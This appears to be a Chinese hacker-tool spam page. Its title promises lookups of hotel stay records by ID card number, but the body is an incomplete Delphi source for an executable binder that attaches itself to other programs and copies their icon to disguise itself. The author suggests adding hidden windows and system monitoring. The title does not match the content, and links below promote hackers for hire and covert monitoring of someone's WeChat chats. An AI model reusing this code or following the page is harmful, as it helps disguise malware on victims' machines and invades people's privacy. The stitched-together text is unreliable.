查住宿记录软件有哪些(身份证号查酒店记录)

访客4年前黑客工具283

最新功能:与其它程序捆绑后,图标为其它程序的图标   
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存   
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...   

程序中几个数字的确定:   
1 在本程序编译后用Aspack.Exe压缩,大小为41472   
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据   
位于从第40752字节开始共640字节,图标后还有81字节   

与其它程序捆绑的过程:   
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部   

怎么找到图标的位置:   
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制   
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。   
十六进制编辑软件:常用UltraEdit。   
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:   
http://guanbh.top263.net/download/hexedit.exe   
}   
program exe2;   

uses   
classes,   
Tlhelp32,   
windows,   
graphics,   
ShellAPI,   
SysUtils;   

{$R *.RES}   

var   
lppe:TProcessEntry32;   
found:boolean;   
handle:THandle;   
ProcessStr,ExeName:string;   
WinDir:pchar;   
const   
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}   

procedure copy2(s:string);   
var   
s1,s2,IcoStream:TMemoryStream;   
File2:TFilestream;   
ch:array[0..1] of char;   
ss:string;   
filetime,fhandle:integer;   
l:integer;   
File2Icon:Ticon;   
begin   
{若文件s不存在}   
if FileExists(s)=False then exit;   
try   
{若文件不含图标,就不捆绑}   
File2Icon:=Ticon.Create;   
l:=extracticon(handle,pchar(s),0);   
if l=0 then   
begin   
File2Icon.Free;   
exit;   
end   
else   
begin   
{提取被捆绑程序图标}   
File2Icon.Handle:=extracticon(handle,pchar(s),0);   
IcoStream:=TMemoryStream.Create;   
File2Icon.SaveToStream(IcoStream);   
File2Icon.Free;   
end;   
{判断文件s中有没有第2个程序头’MZ’。若有,表示已经合并过}   
File2:=TFilestream.Create(s,fmopenread);   
if File2.Size>MySize then   
begin   
File2.Position:=MySize;   
File2.Read(ch,2);   
ss:=copy(ch,1,2);   

相关文章

黑客最强的一次入侵(黑客利用最频繁的入侵方式)

黑客最强的一次入侵(黑客利用最频繁的入侵方式)

本文目录一览: 1、全球最为严重的黑客入侵事件有哪几起? 2、轰动的网络的黑客案有哪些? 3、历史上最著名的几次黑客事件 4、全世界最牛的危害最大的黑客事件是哪几件? 5、全世界最牛的...

中年人补钙吃什么好(抓住这4种食物,不用担心缺钙)

  现如今的全球十分时兴健康养生,健康养生是为了更好地让自身的人体避开亚健康状态的情况,另外越来越少地遭受病症的侵犯。健康养生分成许多层面,在其中就包括着中老年应当怎样有效补钙补锌的难题,伴随着年纪的...

dhcp服务器是什么?什么是DHCP服务器它是如何工作的?

dhcp服务器是什么?什么是DHCP服务器它是如何工作的?

虽然自带设备(BYOD)已经改变了工作场所的工作效率,但它也给IT人员带来了麻烦,因为他们试图确保所有用于工作的设备都得到足够的保护,免受潜在的黑客攻击。 目前需要解决的问题之一是建立业务网络,以确...

远程监控对方微信聊天内容

. 有一种香味的香水橘滋脏话很多人都看过。被大家称为是渣男香。道的时候想到的就是大众刻画的痞坏男孩的形象,但是还是有很多人喜欢的。橘滋脏话香水有专柜吗 脏话香水像什么味道。友谊长存带来相关介绍。...

我想成为黑客要怎么办 难吗(我想成为一名黑客)-网上说黑客可以追款是真的吗

我想成为黑客要怎么办 难吗(我想成为一名黑客)-网上说黑客可以追款是真的吗

我想成为黑客要怎么办 难吗(我想成为一名黑客)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑...